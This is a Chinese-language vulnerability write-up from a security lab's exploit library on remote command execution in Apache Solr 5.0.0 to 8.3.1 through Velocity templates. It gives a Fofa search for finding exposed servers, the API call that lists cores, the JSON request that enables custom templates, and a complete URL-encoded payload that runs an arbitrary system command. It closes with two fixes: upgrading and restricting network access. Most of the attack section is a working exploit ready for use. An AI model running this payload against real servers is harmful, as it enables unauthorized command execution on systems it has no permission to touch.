Apache Solr Velocity模版远程命令执-漏洞文库小世界-安全文库-NGC660安全实验室

Apache Solr Velocity模版远程命令执

###Apache Solr Velocity模版远程命令执行漏洞 –kn

 

漏洞简介

Apache Solr是一个开源的搜索服务(开源的搜索服务器),使用Java语言开发,主要基于HTTP和Apache Lucene实现的。

其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。攻击者通过未授权访问solr服务器,发送特定的数据包开启  params.resource.loader.enabled,然后get访问接口导致服务器命令执行。

漏洞范围

漏洞影响版本5.0.0 到 8.3.1

指纹识别

Fofa  app=“APACHE-Solr”

1609322220844-e3287bb9-f78a-4189-93b9-db84e79d98e8

漏洞复现

查看到一个无需权限的Apache Solr服务。

1609322279047-46e04b39-10d4-4c5a-a234-ddcd6bc72943

1609322252012-a315e98f-9c34-459d-9e39-e8b2d754be99

我们先通过如下API获取所有内核名称:

http://IP:8983/solr/admin/cores?indexInfo=false&wt=json

1609322294656-676aea9e-6da6-4b24-861e-58c2ed166872

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。可以通过向config接口发送以下json:

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

通过burp把GET修改成POST, 后边路径如下:

/solr/获取的内核名称/config

路径写好后下边填写上边的json,发送后查看响应包 。
1609322322327-6c03bbb0-8b0e-4694-8dd9-3084d9c82d63

通过Velocity模板执行命令,如whoami。修改exec(%27whoami%27)中的代码即可更改命令。使用如下命令:

http://ip:8983/solr/book/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end)

1609322353443-62a451c3-d250-4af7-a5ca-9730b25c812b

测试结果

1609322371809-e21f0027-cce5-4673-9719-b2b08a0b1b21

1609322377219-7394b25c-e8c7-46a5-a2cf-9b14380b0a4b

参考链接

https://www.freebuf.com/vuls/218730.html

https://www.cnblogs.com/liang-chen/p/13713504.html

修复建议

1、更新到 Apache Solr 8.4或更高版本;

2、配置安全组,仅允许可信网络流量访问Solr服务。

请登录后发表评论

    请登录后查看回复内容